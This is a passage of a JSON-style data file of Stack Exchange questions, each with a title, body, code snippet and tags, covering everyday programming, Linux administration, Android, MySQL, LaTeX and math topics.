I can prefix some fields in the database. For example, if there is a table and a
and a fields. Then in the code just refer to but depending on which domain is
used, use the correct one. But for overlaping feilds like style_number there is no
prefix just since its the same either way. Is there a way to set something like
this up? How?\nWhats the best way to go about doing something like this? Is there a
different framework that could handle this better?\n", "products", "mvc cakephp dns
cakephp-1.3"], "45028": ["Using Primitive Data Types in another Class and the
res/menu/.xml file", "I'm a very new to Java. I thought I was doing okay but have
now hit a brick wall, so to speak.\nThe idea is I use the 'home button' '_menu' for
the user to choose one of 26 formats. The format they choose has 3 variables. Those
3 variables are then used in the first xml view, along with 2 user inputs to
calulate another variable. This variable is then used in a second xml view, along
with a third user input here, to calculate the final answer.\nI have created the 26
choices and if for example I choose option 5, on the emulator screen I see all the
correct values associated with this choice. I don't think those values are getting
stored anywhere. I say this because if I come out of that view and return back into
it, it's not showing, as in my example, choice 5. It's showing its initial state,
as though I was going into it the first time. I assume it's something to do with
launching this activity from the start but is there anyway around this. Or really
where do I start.\nMy second question is with the integer variables that I created
from this choice. I need to pass them into another java file for the first set of
calculations. I've tried to pass the variables/data with the, 'new intent putExtra'
but can't get it to work. But I don't think I can use this anyway since the I don't
want to launch the second view directly from the res/menu/ .xml view.\nNot sure if
this is making sense to anyone. Can someone help point me in the right direction?\
n", "", "android variables android-intent global-variables"], "1632452": ["Yum
update not working on CentOS 6.2 minimal install", "Note: This is my first question
on the stack exchange network so please give mercy and provide guidance where
needed.\nI have installed a CentOS 6.2 KVM guest and I am having problem getting
yum to work. This is my first time working with CentOS so I feel that it's a
setting somewhere that I am missing but cannot find using google.\nHere are my
steps;\n\nDownloaded CentOS-6.2-x86_64-minimal.iso, booted, and went through
default steps (only questions asked where keyboard, timezone, root password and use
entire hdd)\nRestarted, logged in, pinged google.com to no avail\nSet the following
settings;\n\nvi /etc/resolv.conf\n\nvi /etc/sysconfig/network-scripts/ifcfg-eth0\n\
nvi /etc/sysconfig/network\n\n\nI can now ping google.com\n\nping google.com\n\n\
nBut I cannot 'yum update'\n\nyum update\n\nMy KVM guest is also NAT'd incase it's
of concern.\n", "nameserver 8.8.8.8\nnameserver 8.8.4.4\n", "nat kvm-virtualization
yum centos6.2"], "3205605": ["Getting rid of the pop up saying, this page has an
unspecified potential security risk, when using a network share", "Basically, I
would like to do ....
this.....\nhttp://www.howtogeek.com/howto/windows-vista/disable-the-annoying-this-
page-has-an-unspecified-potential-security-risk-when-using-files-on-a-network-
share/\n.... via group policy. I have a largish number of machines to update, all
at the same time, and 1 day to do it! Any help will be appreciated :)\n", "",
"windows-server-2003 network-share zones security-zones"], "4149782": ["Remove
Background Color or Texture Before OCR Processing", "When a typical mobile phone
user takes picture for a card-size object, some background texture is usually
included in the image -- please refer to the attached samples. In certain cases,
that background could pollute OCR's accuracy.\nI am wondering that whether there
are solutions or not to remove the background (am positive that there are), or
detect the background regions so one can just crop them off before OCR. In case of
the attached images, wood tables and counter-top presenting are the candidate being
removed. I would imagine that contrasting colors could be a solution but not so
sure.\n\n\n\n\n\n", "", "image-processing computer-vision ocr"], "2719543":
["Solving systems PDE's", "I have a bit of trouble solving a system of first order
PDE's, that I get by solving a boundary issue problem in gravitation (here). I have
six equations:\n$-\\frac{2r}{l^2}\\zeta^r-\\frac{2(r^2+l^2)}{l^2}\\partial_t\\
zeta^t=0$\n$-\\frac{2rl^2}{(r^2+l^2)^2}\\zeta^r+\\frac{2l^2}{r^2+l^2}\\partial_r\\
zeta^r=0$\n$2r\\zeta^r-2r\\partial_\\phi\\zeta^\\phi=0$\n$-\\frac{r^2+l^2}{l^2}\\
partial_r\\zeta^t+\\frac{l^2}{r^2+l^2}\\partial_t\\zeta^t=0$\n$-\\frac{r^2+l^2}
{l^2}\\partial_\\phi\\zeta^t+r^2\\partial_t\\zeta^\\phi=0$\n$\\frac{l^2}{r^2+l^2}\\
partial_\\phi\\zeta^r+r^2\\partial_r\\zeta^\\phi=0$\nWhere $\\zeta^\\mu$ ($\\
mu=t,r,\\phi$) is a vector by it's components. And I have the boundary conditions
given as subleading terms in $r$ ($\\mathcal{O}(r^n)$). Now I've seen that they are
supposing the ansatz of the form: $\\zeta^\\mu=\\sum_n \\zeta^\\mu_n(t,\\phi)r^n$.
And I've tried to put that in, but I don't really see what would I get. Since I'm
expanding the series in Laurent series (n goes to $-\\infty$ from $n=0,-1,\\ldots,
-\\infty$), do I have to see what boundary condition I have (for example, for first
equation it's $\\mathcal{O}(1)$, second it's $\\mathcal{O}(r^{-3})$, etc.), and for
each equation, I need to expand my solution to that order, ignoring everything
beyond that, and try to solve it that way?\nI tried putting this in Mathematica,
but that doesn't work since I get that the system is overdetermined.\nSo if you can
point me in the right direction, or maybe give me some literature where they show
how to solve such systems, I'd really appreciate it.\nThanks\n", "", "homework
differential-geometry pde"], "4141577": ["Can I override my umask using ACLs to
make all files created in a given directory world readable?", "Assume that my umask
is 0077.\nI have a directory, , that I want to have special permissions applied to
it. All files I create in should be world readable, and all directories should be
world readable and executable.\nCurrently, if I create a file, it will be 0600, and
a directory will be 0700:\n\nI want the file to be 0644, and the directory 0755,
regardless of my umask:\n\nHow can I achieve this?\n", "foo", "linux permissions
acl umask"], "4131116": ["Does a filter exist to color-correct color negatives when
copying them with a DSLR?", "This question and other internet sources propose using
a DSLR with a macro lens to rapidly copy negatives and slides.\nCopying color
negatives, however,
seems to be a challenge because the color tint of the negatives is extreme enough
to make correcting the white balance in post difficult.\nThus, I am wondering if
filters are available (or could be jury-rigged somehow) to reduce this tint and
make post-processing more feasible, either by coloring the light source itself or
being placed in the camera\u2019s light path. They wouldn\u2019t need to fully
correct the tint, just reduce it enough to make enable complete correction in post
at reasonable quality.\n", "", "filters film digitizing"], "4972580": ["Unable to
establish communication between 'HYPERVSERVER' and 'MYCOMPUTER'", "I am trying to
connect to a Hyper-v server on our network using the Hyper-V Manager. Others on the
same network have this working, but when I try to connect to the same server, I
just get this text in the Virtual Machines section.\n\nAccess Denied. Unable to
establish communication between 'HYPERVSERVER' and 'MYCOMPUTER'.\n\nWhat can be
wrong here? My network administrator doesn't understand what's wrong. He has tried
to give me access to the server, but this is obviously not enough.\n", "", "hyper-v
access-denied"], "2350391": ["Linux Mint 13 can't detect SSD &/or Windows 7", "I'm
a newcomer to Linux OSes in general. I'm trying to install Linux Mint 13 Cinnamon
alongside Windows 7. Linux Mint can't seem to see/detect either of my SSDs and
because of that, it can't read/detect Windows 7. \nSo how do I get Linux to read my
SSDs without installing Linux first? And if that doesn't happen, how can I install
Linux so that it appears in that \"choose OS\" list in the boot menu?\n", "",
"windows system-installation dual-boot ssd"], "697675": ["Why does Objective-C
runtime library use C++ ABI for exception handling?", "I saw at
http://opensource.apple.com/source/objc4/objc4-532.2/runtime/objc-exception.mm that
Apple's Objective-C runtime uses some C++ ABI functions for exception handling,
like , , and . Because exception handling in Objective-C is similar to exception
handling in C++ (even the C++ personality routine is the same for Obj-C), it's
necessary only a few adaptations to use those functions in the Objective-C runtime
library.\nSo, my point is, runtime team \"does not need\" or it \"can not\" (maybe
to keep compatibility with C++, for Objective-C++) implement its own ABI (by using
the Unwind library, for example, like C++ ABI does)? Do functions like , , and
have to deal with C++ objects, so that they not only can, but must use , , and
under the hood, like they actually do?\n", "__cxa_throw", "objective-c exception-
handling objective-c++ objective-c-runtime"], "5578542": ["rhino serverside js
licensing", "any future plan for rhino to change licensing to lgpl? currently it
is\ngpl, also mean if we use it we required to open source our application\
nright? \n", "", "javascript gpl lgpl rhino serverside-javascript"], "401205":
["How can I select enclosing quotes with TextMate?", "In Textmate I can \"Select
Enclosing Brackets\" with :\n\nHow can I set up a similar keyboard shortcut to
select everything between the single / double quotes which encompass the cursor?\
nDesired Result:\n\n", "Command+Shift+B", "osx keyboard-shortcuts textmate
bundle"], "1015078": ["Is the placebo effect a purely psychological effect?", "The
placebo effect plays a crucial role in clinical trials and in our understanding of
medicine, but I have always had some difficulty in understanding how exactly it
works. \nIs it a purely psychological effect, that you feel better because of the
attention the doctors gave you, or are there other aspects to it?\nDoes the placebo
effect just changes your perception of your condition, so you subjectively feel
better although nothing changed about your condition, or does it have real,
measurable physical effects?\n", "", "placebo medical-science"], "45029": ["How to
deal with changing feature and product names in source code?", "What is a good
strategy for dealing with changing product and feature names in source code.
Here's the situation I find myself in over and over again (most of you can
relate?)...\n\nProduct name starts off as \"DaBomb\"\nMajor features
are \"Exploder\", \"Lantern\" and \"Flag\".\nTime passes, and the Feature names are
changed to \"Boom\", \"Lighthouse\" and \"MarkMan\"\nTime passes, and the product
name changes to \"DaChronic\"\n...\n...\nBlah, blah, blah...over and over and over\
n\nAnd now we have a large code base with 50 different names sprinkled around the
directory tree and source files, most of which are obsolete. Only the veterans
remember what each name means, the full etimologic history, etc.\nWhat is the
solution to this mess?\nClarification: I don't mean the names that customers see, I
mean the names of directories, source files, classes, variables, etc. that the
developers see where the changing product and feature names get woven into.\n", "",
"design version-control coding-style naming-conventions naming"], "4915357":
["start click in UIButton, but use touchesEnded in main view", "I have, for
example, a that I placed in IB.\nThis has two functions depending on whether it
is just touched up inside or dragged outside - it would be nice to at least keep it
functioning for touch up inside.\nI want to click on my button and 'drag outside'
but use over a rectangle when I finally release my click.\nI know that one option
is to ditch the and use over a mask, but that is a lot more effort and requires a
nice big rewrite (considering the 96 buttons).\nSo to rephrase slightly - I've
clicked on a button and held down the mouse, while dragging the cursor (/finger)
over to a different point in my view and I want my view to recognise a when I
finally let go. The problem is that the initial click is tied up in the button so
in my main view doesn't happen...\nAm i trying to do this the wrong way? Also, am I
being clear?\nEDIT: @Heckman has phrased the question well below\n", "UIButton",
"iphone objective-c interface-builder uibutton"], "4880588": ["Coldfusion 9 default
timezone issue", "When I execute getDefault() on a java.util.TimeZone object
created from ColdFusion 9 I am getting \"Pakistan Time\". We are in the eastern
timezone and our server (Windows 2003) is reporting proper timezone. Where would
ColdFusions JVM be getting this timezone?\nTimeZone: Pakistan Time (Asia/Karachi)\
n", "", "coldfusion jvm timezone"], "912337": ["Safari Browser issue with JS CSS
Switcher", "I have been working part time on a website gradually building it up to
include a CSS stylesheet switcher. The switcher was working really well in all
browsers, however, following an update it no longer works in Safari.\nin the html
head:\n\nin the html:\n\n\nJS file:\n\nhas anyone noticed any changes with the
Safari update which would have caused this? to see the bug check out
www.delightwebdesign.co.uk in Safari.\nMany Thanks\nWilliam\n", "<link
rel=\"stylesheet\" type=\"text/css\" href=\"/css/corporate.css \"
title=\"corporate\">\n<link rel=\"alternate stylesheet\" type=\"text/css\"
href=\"/css/canvas.css \" title=\"canvas\">\n<link rel=\"alternate stylesheet\"
type=\"text/css\" href=\"/css/classical.css \" title=\"classical\">\n<link
rel=\"alternate stylesheet\" type=\"text/css\" href=\"/css/earth.css \"
title=\"earth\">\n<link rel=\"alternate stylesheet\" type=\"text/css\"
href=\"/css/under-the-sea.css \" title=\"under-the-sea\">\n<link rel=\"alternate
stylesheet\" type=\"text/css\" href=\"/css/space-and-stars.css \" title=\"space-
and-stars\">\n<link rel=\"alternate stylesheet\" type=\"text/css\"
href=\"/css/creative-one.css \" title=\"creative-one\">\n<link rel=\"alternate
stylesheet\" type=\"text/css\" href=\"/css/creative-two.css \" title=\"creative-
two\">\n\n<script type=\"text/javascript\" src=\"/js/switcher.js\"></script>\n\
n<script type=\"text/javascript\">\n\n // Call stylesheet init so that all
stylesheet changing functions \n // will work.\n $.stylesheetInit();\
n\n $(function()\n {\n // This code loops through the stylesheets
when you click the link with \n // an ID of \"toggler\" below.\n $
('#toggler').bind(\n 'click',\n function(e)\n {\n
$.switcher();\n return false;\n }\n );\n\n\n
// When one of the styleswitch links is clicked then switch the stylesheet to\n
// the one matching the value of that links rel attribute.\n $
('.styleswitch').bind(\n 'click',\n function(e)\n
{\n $.stylesheetSwitch(this.getAttribute('rel'));\n
return false;\n }\n );\n }\n);\n</script>\n", "javascript css
safari switchers"], "4869272": ["Refactoring code - general way to handle it", "I
have a code which has a function that executes every cycle. In it I call a
function here and there.\nI now have to become more smart of the way I call the
depending on some conditions. And in some places it is executed on conditions that
are not needed in other places.\nI understand that I now have to create a separate
function which will call the function. But that is as far as i have gotten. It
feels like a maze and I'm getting lost.\nWhat is the best way to code this? How do
the pros do it?\nUpdate:\nI've added my code. Basically I want my to do more than
one action. \n\nAct as condition tester and return true or false. \nTo actually
call the pause function. \n\nMaybe I shouldn't make my function do this?\n\n",
"start()", "javascript algorithm language-agnostic refactoring"], "2406301":
["ipython and sublime text 2", "I really love how Rstudio has a shortcut for
running a line of selected code, this allows for much quicker coding. I notice more
and more however, that I need to work in python as it offers a bit more flexibility
than R. \nI prefer to code python
in sublime text 2 and it is very flexible but right now I am copying and pasting
code constantly in iPython using the command. Does anybody know of a simple way to
add such a feature to sublime text? I have looked at some github projects (like
http://tinyurl.com/99xoo9a) but they do not really offer a substantial startup
guide. \n", "%paste", "sublime-text-2 r ipython"], "4421587": ["How to Change a
value of a control from a different program(process)", "I would like to write a
program, which lets me change a values in text box of different program, or
automatically copy a values from one program to another.\nI found a way to get hWnd
to most (no idea if all of them) of controls in targer program, and to point them
with mouse cursor. I made a simple struct to do so, and an array of it\n\nThe
EnumWindowProc and EnumChildWindowProc loads handles and text of the window into
the array and into the list control in my program, so i can click an item on the
list (or select it with keyboard) and the cursor points the control (like button or
textbox) like expected... Unfortunately there are some controls with no text (or
rather GetWindowText returns no text) so there is no way to identify the control.\
nThe question is:\nIs there any way to get/read a NAME of the control?\nIs there
any way to get/read and set a specyfic value like 'enabled' or 'text' or 'value'?\
nThanks in advance\nPS: Sorry for my english ;)\n", "struct hWndpointer\n {\n
HWND hWnd;\n AnsiString text;\n };\n\nhWndpointer tbl[250];\n", "winapi c+
+builder"], "5086185": ["MySQL update or insert or die query", "Is it valid to do
something like this, I never see more than 1 or operator:\n\n", "$insert = 'INSERT
into fhours (' .$cols . ') VALUES ('.$query.')';\n$update = sprintf(\"UPDATE fhours
SET %s WHERE fname='$fname' AND lname='$lname'\", $field_list);\n\n$result = $db-
>query($update) or $db->query($insert) or die('uhoh');`\n", "php mysql insert
die"], "1771675": ["How to hide system folders in windows", "I have a computer with
a clean Windows installation. I would like to hide all system folders on the C:
drive: Program Files, Windows, Documents and Settings, etc. Basically, any folder
on C: that I don't create myself, I want hidden. Is there a good way to do this?\
n", "", "windows folder system-file"], "3472720": ["How to get a series of time
ranges with an increment in Groovy", "I'm trying to get a list of time series with
increments of 15 minutes. \nfor example:\n\n", "5:00 AM\n\n5:15 AM\n\n5:30 AM\n\
n....\n...\n.....\n\n11:30 PM\n", "groovy"], "4781739": ["How do you bind menu
items to a ContextMenu in silverlight, including the icon", "I have a context menu
and i want its menu items populated via a binding.\nThe following code works\n\nbut
there's one problem, the ItemTemplate represents the Text area of a menu item and
so as far as im aware doesnt allow you to set the icon\nso i tried doing the
binding via the ItemContainerStyle as in the below example\n\nbut silverlight
doesnt seem to like that\nany ideas?\n", "<Button>\n
<controlsInputToolkit:ContextMenuService.ContextMenu>\n
<controlsInputToolkit:ContextMenu ItemsSource=\"{Binding MenuItems}\">\n
<controlsInputToolkit:ContextMenu.ItemTemplate>\n <DataTemplate>\n
<TextBlock Text=\"{Binding Name}\" />\n </DataTemplate>\n
</controlsInputToolkit:ContextMenu.ItemTemplate>\n
</controlsInputToolkit:ContextMenu>\n
</controlsInputToolkit:ContextMenuService.ContextMenu>\n</Button>\n", "silverlight
xaml icons contextmenu itemssource"], "3016463": ["How to set recent working set
list size limit in eclipse RCP?", "I'm building an eclipse RCP using working sets.
I programmatically add some working sets to my project explorer (CommonNavigator)
and then add in recent working set list by IWorkingSetManager.addRecentWorkingSet.\
nIn javadoc, it says \"The last (oldest) item will be deleted if the list exceeds
the size limit\". Is there a way to set recent working set list size?\nEdit: After
more search, I found that there are getRecentWorkingSetsLength and
getRecentWorkingSetsLength methods in eclipse 3.7.\n", "", "eclipse eclipse-rcp
working-set"], "3596067": ["Android Renderscript runtime exception (type
mismatch)", "I'm trying to exploit Renderscript for some calculations. I did this:\
n\nIn my .rs file, the root() prototype is:\n\nI keep getting a Renderscript
runtime error (type mismatch). With the code above, it would be:\n\
nAndroidRuntime(1652): android.renderscript.RSRuntimeException: Type mismatch with
U16!\n\nNo matter what type I try (uint16_t, int16_t, short, ushort, ...), I cannot
get the root prototype in the renderscript kernel to match.\nAndroid documentation
states this:\n\nElement is the basic data type of Renderscript. An element can be
of two forms: Basic elements or Complex forms. Examples of basic elements are:\
nSingle float value\n4 element float vector\nsingle RGB-565 color single\nunsigned
int 16\n\nI would expect a corresponding simple type to exist in the renderscript
language definition, but nothing resembles this in rs_types.rsh (or in any other
place). An Android source code inspection did not lead me to find what type to use
either.\nAny help most welcome !\n", "mBitmapOut = Bitmap.createBitmap(SIZE, SIZE,
Bitmap.Config.RGB_565);\nmOutAllocation = Allocation.createSized(mRS,
Element.RGB_565(mRS), SIZE*SIZE);\n// also tried this to no avail:\n//
mOutAllocation = Allocation.createFromBitmap(mRS, mBitmapOut);\n", "android
prototype runtimeexception renderscript"], "3458227": ["Auto-sizing and positioning
in Flex", "I am working on a flex app that uses XML templates to dynamically create
DisplayObjects. These templates define different layouts that can be used for each
page of content in the app (ie , 2 columns, 3 columns etc etc). The administrator
can select from one of these and populate each area with their content.\nThe
templates add one of 3 types of DisplayObject - HBox, VBox or a third component -
LibraryContentContainer (an mxml component that is defined as part of the app) -
which is effectively a canvas element with a TextArea inside.\nThe problem that I
am getting is that I need each of these areas to automatically resize to fit the
length of the content but don't seem to be able to find an effective way to do so.
\nIn the LibraryContentContainer, when the value of the TextArea is set, I am
calling .validateNow() on the LibraryContentContainer. I then set the height
property on both the TextArea and LibraryContentContainer to match the textHeight
property of the TextArea.\nIn the following example, this is the
LibraryContentContainer, viewer is the TextArea and the value property of the
TextArea is bound to this.__Value. v is the variable containing the content for
the textarea\n\nThis works to a degree in that the TextArea grows or shrinks
depending on the length of content, but it's still not great - sometimes there are
still vertical scrollbars even tho the size of the TextArea has grown.\nAnyone got
any ideas?\nThanks\nAdam\n", "this.__Value = v;\nthis.validateNow();\n\
nthis.viewer.height = this.viewer.textHeight;\nthis.height = this.viewer.height; \
n", "flex flex3 adobe"], "2406302": ["Understanding CSS for user styling in a
browser", "I want to make a specific change to the appearance of a specific site in
my web browser. This site uses CSS, so I think what I should do is write a user CSS
override (please correct me if this is wrong).\nMy browsers are Firefox (for which
I think I should write something in ) and Chrome ().\nThe specific change I want to
make is to remove the background pattern (dark dots) on all pages of
http://unix.stackexchange.com/ . But more generally, please teach me how to fish:
how do I find out what parameter to change, and how do I write this change in a
user css?\n", "chrome/userContent.css", "firefox google-chrome html css"],
"5304447": ["How to position and align a matplotlib figure legend?", "I have a
figure with two subplots as 2 rows and 1 column. I can add a nice looking figure
legend with\n\nHowever, this legend is positioned at the center of the figure and
not below the center of the axes as I would like to have it. Now, I can obtain my
axes coordinates with \n\nand in theory I should be able to position the legend by
specifying the loc keyword with a tuple:\n\nThis works, except that the legend is
left aligned so that loc specifies the left edge/corner of the legend box and not
the center. I searched for keywords such as align, horizontalalignment, etc., but
couldn't find any. I also tried to obtain the \"legend position\", but legend
doesn't have a *get_position()* method. I read about *bbox_to_anchor* but cannot
make sense of it when applied to a figure legend. This seems to be made for axes
legends.\nOr: should I use a shifted axes legend instead? But then, why are there
figure legends in the first place? And somehow it must be possible to \"center
align\" a figure legend, because loc=\"lower center\" does it too.\nThanks for any
help,\nMartin\n", "fig.legend((l1, l2), ['2011', '2012'], loc=\"lower center\", \n
ncol=2, fancybox=True, shadow=True, prop={'size':'small'})\n", "python matplotlib
legend"], "2780886": ["OpenSSH SFTP: chrooted user with access to other chrooted
users' files", "Decided to re-phrase the question entirely in order to not have to
make a new one.\nI currently have an SFTP server set up using OpenSSH's SFTP
functionality. All my users are chrooted, and everything works.\nWhat I need most
right now is for one user, which is not root (because this user can't have any real
SSH powers!), to have access to all other users' chrooted dirs. This user's job is
to fetch all uploaded documents every once in a while.\nDirectory structure as of
now is:\n/home\n|_ /home/user1\n|_ /home/user2\n|_ /home/user3\nWith
ChrootDirectory set as /home/%u\nUser \"adminuser\" should have access to user1,
user2 and user3's directories without having access to /home or at the very least
not to anything but /home.\nBonus points for the one who can tell me how to let
users write inside /home/%u without having to make a new directory inside that dir
which they own themselves, and not root as is the case with /home/%u (openssh
chroot prerequisite).\n", "", "sftp ssh file-permissions"], "5984622": ["Using
curly braces in JavaScript in Play Framework template", "I have passed a list of
titles that I have passed through from my controller:\n\nI want to cycle through
generating some html headings with {mmm} appearing after:\n\nClearly there is a
problem as it will try and find a variable called mmm. How do I escape the
brackets?\nOr is there a more idiomatic way to generate the HTML that doesn't
involve mapping the list? Very new to this!\n", "@titles:List[String]\n",
"templates scala playframework-2.0"], "4893966": ["How Do I Configure IE8 to Open
mailto: links via Hotmail / Windows Live Email Broswer Client?", "I have a client
that has Win XP Home SP3 and MS Office Home and Student installed (and another
machine with Win7 and IE8) who wants to have mailto: links open in IE8 browser
email client for his hotmail account?\nWhen I set Internet Options/Programs to use
Windows Live Email - the Outlook client still opens for clicks on mailto: links.\
nAnyone out there able to get this working?\n", "", "internet outlook-2007
internet-explorer-8 email-client mailto"], "4971237": ["How to set Port as Input
for Push Button in C?", "I'm using MikroC to try and program my PIC16f62
Microcontroller. I've managed to get my outputs working (I can have LEDs turn on,
etc) but I can't seem to get the inputs work.\nHere is my current code:\n\nI don't
know if the problem is that I'm not configuring the PORT correctly or if I'm
checking whether or not the button is pressed incorrectly. \nAny help is
appreciated. Thanks.\n", "void main() {\n TRISB.RB0 = 0; //set Port RB0 as
output\n PORTB.RB0 = 1; //set Port RB0 to high (turn on LED)\n TRISA = 1;
//Set PORTA as inputs \n\n for(;;){ //endless loop\n if(PORTA.RA0 ==
1){ //if push button is pressed\n PORTB.RB0 = !PORTB.RB0;
\\\\toggle LED\n }\n }\n}\n", "c input embedded microcontroller
pic"], "2221731": ["How to create a new group of radio button in Excel without
interference?", "Status:\nI have a form with sections on the same page, in each
section the user can only chose one solution. I'm using group of radio buttons on
Excel 2007.\nProblem:\nWhen I ad a new group, the buttons interact with the group a
head. I can't make it work separately one from the other, event if the groups have
other names.\nQuestion:\nCan you please help me find an easy way to do that on
Excel 2007 (I don't have the choice of the software)?\n", "", "excel-2007 office-
2007 forms"], "4424656": ["Include root element in JSON using Jersey", "I am using
the JAXB that is part of the Jersey JAX-RS. I would like to include the root
element in the JSON response \nThank you!\n", "", "jaxb jersey"], "2406303":
["Possible to validate xml against xsd using Objc/iPhone code at runtime", "I have
xml files that I read in at runtime, is it possible to validate the xml against an
xsd file at runtime using Obj C?? This can be done in java and c#.. But i need do
it run time in my iphone app.\n", "", "iphone objective-c xml cocoa-touch xml-
schema"], "3624111": ["Right-centered columns in LyX", "This is very near to my
topic: How to align integers on the right, but still center them.\nHowever, I do
not get it to work under LyX. This is the code I have:\n\nIt produces the following
(correct) output:\n\nHowever, if I change the first line to:\n\nit gives the
following (incorrect) output:\n\nMy version of is from TeX Live 2011.\n", "\\
begin{table}[H]\n\\centering\n\\begin{threeparttable}\\caption{\\textbf{\\
label{tab:uebersicht-alle-mspatienten}Untersuchungsergebnisse der
soziodemographischen und neurologischen Parameter aller untersuchten MS-
Patienten} }\n\\begin{tabular}{>{\\raggedright}p{0.35\\columnwidth}>{\\
centering}p{0.1\\columnwidth}>{\\centering}p{0.1\\columnwidth}>{\\centering}p{0.1\\
columnwidth}>{\\centering}p{0.1\\columnwidth}}\n\\toprule \n & \\textbf{Anzahl (n)}
& \\textbf{Prozent} & \\textbf{Mittelwert} & \\textbf{SD}\\tabularnewline\n\\
midrule\n\\midrule \n\\textbf{Patienten} & 180 & & & \\tabularnewline\n\\
midrule \n\\textbf{Alter} (in Jahren) & & & 43,9 & 13,1\\tabularnewline\n\\
midrule \n\\textbf{Geschlecht:}\n- Weiblich\n- M\u00e4nnlich & ~\n125\n55 & ~\
n69,4\n30,6 & & \\tabularnewline\n\\midrule \n\\textbf{Erkrankungsdauer der MS}\
n(in Jahren) & & & 12,3 & 8,8\\tabularnewline\n\\midrule \n\\
textbf{Verlaufsform:}\n- RRMS\n- SCP\n- PPMS\n- CIS & ~\n86\n67\n24\n3 & ~\n47,8\
n37,2\n13,3\n1,7 & & \\tabularnewline\n\\midrule \n\\end{tabular}\n\\
end{threeparttable}\n\\end{table}\n", "tables horizontal-alignment lyx siunitx"],
"4483808": ["Slow UNION Query - MySQL", "I have a UNION query consisting of two
fast queries.\n( SELECT DISTINCT ( SELECT strStatus FROM User_User_XR uuxr WHERE
( uuxr.intUserId1 = '1' AND uuxr.intUserId2 = u.intUserId ) ) AS strFriendStatus1,
uuxro.strStatus AS strFriendStatus2, uuxr.intUserId2 AS intUserId, u.strUserName ,
u.strGender, IF( u.dtmBirth != '0000-00-00', FLOOR(DATEDIFF(CURDATE(),
u.dtmBirth) / 365.25) , '?') AS intAge, u.strCountry AS strCountryCode,
c.strCountry AS strCountry, u.strAvatar, u.fltPoints, IF( o.intUserId IS NULL,
'offline', 'online' ) AS strOnline, IF ( u.strAvatar != '', CONCAT( 'avatars/60/',
u.strAvatar ), CONCAT( 'images/avatar_', u.strGender, 'small.png' ) ) as strAvatar,
IF ( u.strAvatar != '', CONCAT( 'avatars/150/', u.strAvatar ), CONCAT(
'images/avatar', u.strGender, '.png' )) as strLargeAvatar, u.dtmLastLogin,
u.dtmRegistered FROM User_User_XR uuxr, User u LEFT JOIN User_User_XR uuxro ON
uuxro.intUserId2 = '1' AND uuxro.intUserId1 = u.intUserId LEFT JOIN Online o ON
o.intUserId = u.intUserId LEFT JOIN Country c ON c.strCountryCode = u.strCountry
WHERE u.intUserId = uuxr.intUserId2 AND ( uuxr.strStatus = 'confirmed' ) AND
uuxr.intUserId1='1' ) \nUNION \n( SELECT DISTINCT ( SELECT strStatus FROM
User_User_XR uuxr WHERE ( uuxr.intUserId1 = '1' AND uuxr.intUserId2 = u.intUserId )
) AS strFriendStatus1, uuxro.strStatus AS strFriendStatus2, uuxr.intUserId1 AS
intUserId, u.strUserName , u.strGender, IF( u.dtmBirth != '0000-00-00',
FLOOR(DATEDIFF(CURDATE(), u.dtmBirth) / 365.25) , '?') AS intAge, u.strCountry AS
strCountryCode, c.strCountry AS strCountry, u.strAvatar, u.fltPoints,
IF( o.intUserId IS NULL, 'offline', 'online' ) AS strOnline, IF ( u.strAvatar !=
'', CONCAT( 'avatars/60/', u.strAvatar ), CONCAT( 'images/avatar_', u.strGender,
'small.png' ) ) as strAvatar, IF ( u.strAvatar != '', CONCAT( 'avatars/150/',
u.strAvatar ), CONCAT( 'images/avatar', u.strGender, '.png' )) as strLargeAvatar,
u.dtmLastLogin, u.dtmRegistered FROM User_User_XR uuxr, User u LEFT JOIN
User_User_XR uuxro ON uuxro.intUserId2 = '1' AND uuxro.intUserId1 = u.intUserId
LEFT JOIN Online o ON o.intUserId = u.intUserId LEFT JOIN Country c ON
c.strCountryCode = u.strCountry WHERE u.intUserId = uuxr.intUserId1 AND
( uuxr.strStatus = 'confirmed' ) AND uuxr.intUserId2='1' )\nFirst of the queries
runs in 0.0047s\nSecond runs in 0.0043s\nHowever, WITH the Union, they run
0.27s ... why is this? There is no Order By after the UNION, why wouldn't MySQL
simply take the two fast queries and concatenate them?\n", "", "mysql
optimization"], "912647": ["To implement the method search in Composed
UITableView", "I have used a in my application. In that, instead of default , I
used a composed one using .\nI have a list of objects and in each of the table
rows I have 6 labels like:\n\nIn this how can I implement search method for a
particular criteria, say ?\n", "UITableView", "ios uitableview uisearchbar"],
"4886197": ["Add SPFolder in List Instance xml", "I've create a custom list and
included the basic pieces (schema.xml, list template,..) to package it as a .wsp. I
have a list instance defined, but I would like to add some folders to the xml. I
know you can add SPListItems using ..., but I'm not sure how to add an SPFolder.
Ultimately I want to add some SPFolders to the list instance by default, but I just
can't seem to find any examples of doing this. I was wondering if anyone has some
suggestions and sample code related to how to do this.\n", "", "sharepoint list
sharepoint2007 caml"], "5932237": ["How to create a CBTHook in jni and then call a
java function in the callback function?", "Update (23/02/13): Tested the Hook
separatedly, it works. The problem was that you can't use in a .dll, unless you
associate a console with it.\nI instead replaced every with and wrote the output
in a logfile.\nUpdate (22/02/13): Initialized the variable in a correct way.\nI
want to call a method in my java application, if any desktop window is .\nI wrote a
simple Java class with two native functions:\n\nAnd in C I wrote the following:\n\
nThe works, but I can't call the function from within the function.\n\ndoesn't
do anything and no Exception is thrown.\nWhat do I have to do ?\nFurthermore do I
have to share the global variables: , and ?\nEvery variable in the \n\nsegment is
\"shared\", which means that they are not unique to a specific process.\nAnd what
would be the correct way to attach/detach the other threads, if this is necessary?\
n", "printf", "java c callback jni"], "468541": ["Training one-class SVM", "I'm
trying to get familiar to 1-class SVM using libsvm implementation. \nAs I've read,
there is no class labels in libsvm's 1-class task. \nBut when reading the data file
without the label column, there is always a read error.\nI tried labeling my toy
data and
then testing the result model with svm-train but accuracy was always terrible,
around 50%.\nMy question is, if I have a labeled dataset (say, a few hundreds of
gaussian distributed 2d-points and several outliers among them), how do I train
libsvm with this data, and how do I estimate accuracy of the result model?\n", "",
"distribution svm libsvm"], "1689854": ["How to change the color of Radwindow
loading image to blue", "I have radgrid on click of add new record, my radwindow
opens up with loading image in green color but i want that to be changed to blue
color, and my radwindow skin should remain black only.\nThis is my code where i am
setting the property for radwindow\n\n", "<telerik:RadWindowManager
ID=\"RadWindowManager1\" runat=\"server\" EnableShadow=\"true\"\n
Skin=\"Black\" >\n <Windows>\n
<telerik:RadWindow ID=\"UserListDialog\" runat=\"server\" Height=\"620px\"
